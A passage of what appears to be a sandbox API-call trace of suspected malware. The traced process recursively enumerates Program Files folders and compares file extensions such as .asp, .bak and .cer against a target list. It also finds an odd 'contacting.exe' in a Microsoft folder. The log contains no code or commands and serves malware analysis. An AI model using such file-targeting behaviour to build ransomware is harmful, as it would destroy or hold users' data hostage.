lpString2=".ONE") returned -1 [0145.419] lstrlenW (lpString=".ai") returned 3 [0145.419] lstrcmpiW (lpString1=".ai", lpString2="ONE") returned -1 [0145.419] lstrlenW (lpString=".ai3") returned 4 [0145.419] lstrcmpiW (lpString1=".ai3", lpString2=".ONE") returned -1 [0145.419] lstrlenW (lpString=".ai4") returned 4 [0145.419] lstrcmpiW (lpString1=".ai4", lpString2=".ONE") returned -1 [0145.419] lstrlenW (lpString=".ai5") returned 4 [0145.419] lstrcmpiW (lpString1=".ai5", lpString2=".ONE") returned -1 [0145.419] lstrlenW (lpString=".ai6") returned 4 [0145.419] lstrcmpiW (lpString1=".ai6", lpString2=".ONE") returned -1 [0145.419] lstrlenW (lpString=".ai7") returned 4 [0145.419] lstrcmpiW (lpString1=".ai7", lpString2=".ONE") returned -1 [0145.419] lstrlenW (lpString=".ai8") returned 4 [0145.420] lstrcmpiW (lpString1=".ai8", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".anim") returned 5 [0145.420] lstrcmpiW (lpString1=".anim", lpString2="K.ONE") returned -1 [0145.420] lstrlenW (lpString=".arw") returned 4 [0145.420] lstrcmpiW (lpString1=".arw", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".as") returned 3 [0145.420] lstrcmpiW (lpString1=".as", lpString2="ONE") returned -1 [0145.420] lstrlenW (lpString=".asa") returned 4 [0145.420] lstrcmpiW (lpString1=".asa", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".asc") returned 4 [0145.420] lstrcmpiW (lpString1=".asc", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".ascx") returned 5 [0145.420] lstrcmpiW (lpString1=".ascx", lpString2="K.ONE") returned -1 [0145.420] lstrlenW (lpString=".asm") returned 4 [0145.420] lstrcmpiW (lpString1=".asm", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".asmx") returned 5 [0145.420] lstrcmpiW (lpString1=".asmx", lpString2="K.ONE") returned -1 [0145.420] lstrlenW (lpString=".asp") returned 4 [0145.420] lstrcmpiW (lpString1=".asp", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".aspx") returned 5 [0145.420] lstrcmpiW (lpString1=".aspx", lpString2="K.ONE") returned -1 [0145.420] lstrlenW (lpString=".asr") returned 4 [0145.420] lstrcmpiW (lpString1=".asr", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".asx") returned 4 [0145.420] lstrcmpiW (lpString1=".asx", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".avi") returned 4 [0145.420] lstrcmpiW (lpString1=".avi", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".avs") returned 4 [0145.420] lstrcmpiW (lpString1=".avs", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".backup") returned 7 [0145.420] lstrcmpiW (lpString1=".backup", lpString2="ANK.ONE") returned -1 [0145.420] lstrlenW (lpString=".bak") returned 4 [0145.420] lstrcmpiW (lpString1=".bak", lpString2=".ONE") returned -1 [0145.420] lstrlenW (lpString=".bay") returned 4 [0145.421] lstrcmpiW (lpString1=".bay", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".bd") returned 3 [0145.421] lstrcmpiW (lpString1=".bd", lpString2="ONE") returned -1 [0145.421] lstrlenW (lpString=".bin") returned 4 [0145.421] lstrcmpiW (lpString1=".bin", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".bmp") returned 4 [0145.421] lstrcmpiW (lpString1=".bmp", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".bz2") returned 4 [0145.421] lstrcmpiW (lpString1=".bz2", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".c") returned 2 [0145.421] lstrcmpiW (lpString1=".c", lpString2="NE") returned -1 [0145.421] lstrlenW (lpString=".cdr") returned 4 [0145.421] lstrcmpiW (lpString1=".cdr", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".cer") returned 4 [0145.421] lstrcmpiW (lpString1=".cer", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".cf") returned 3 [0145.421] lstrcmpiW (lpString1=".cf", lpString2="ONE") returned -1 [0145.421] lstrlenW (lpString=".cfc") returned 4 [0145.421] lstrcmpiW (lpString1=".cfc", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".cfm") returned 4 [0145.421] lstrcmpiW (lpString1=".cfm", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".cfml") returned 5 [0145.421] lstrcmpiW (lpString1=".cfml", lpString2="K.ONE") returned -1 [0145.421] lstrlenW (lpString=".cfu") returned 4 [0145.421] lstrcmpiW (lpString1=".cfu", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".chm") returned 4 [0145.421] lstrcmpiW (lpString1=".chm", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".cin") returned 4 [0145.421] lstrcmpiW (lpString1=".cin", lpString2=".ONE") returned -1 [0145.421] lstrlenW (lpString=".class") returned 6 [0145.421] lstrcmpiW (lpString1=".class", lpString2="NK.ONE") returned -1 [0145.421] lstrlenW (lpString=".clx") returned 4 [0145.421] lstrcmpiW (lpString1=".clx", lpString2=".ONE") returned -1 [0145.422] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.422] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0145.422] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0145.422] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0145.422] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0145.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.422] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1 [0145.423] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0145.423] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0145.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.423] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.424] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0145.424] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0145.424] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0145.424] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0145.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4202798 | out: hHeap=0x300000) returned 1 [0145.427] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0145.427] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0145.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0145.428] FindNextFileW (in: hFindFile=0x3f58c0, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0145.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0145.428] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.428] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0145.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0145.429] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.429] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0145.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.429] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.429] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0145.429] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.429] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0145.430] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0145.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0145.430] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0145.430] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0145.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4202798 | out: hHeap=0x300000) returned 1 [0145.430] FindNextFileW (in: hFindFile=0x3f58c0, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc0de9890, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0de9890, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0145.430] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc0de9890, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0de9890, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0145.430] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc0de9890, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0de9890, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.430] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf43332f0, ftCreationTime.dwHighDateTime=0x1d534c7, ftLastAccessTime.dwLowDateTime=0x8728ccd0, ftLastAccessTime.dwHighDateTime=0x1d56c4c, ftLastWriteTime.dwLowDateTime=0x8728ccd0, ftLastWriteTime.dwHighDateTime=0x1d56c4c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="contacting.exe", cAlternateFileName="CONTAC~1.EXE")) returned 1 [0145.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0145.431] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.431] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0145.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.431] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.431] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0145.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0145.432] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.432] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0145.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.432] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, 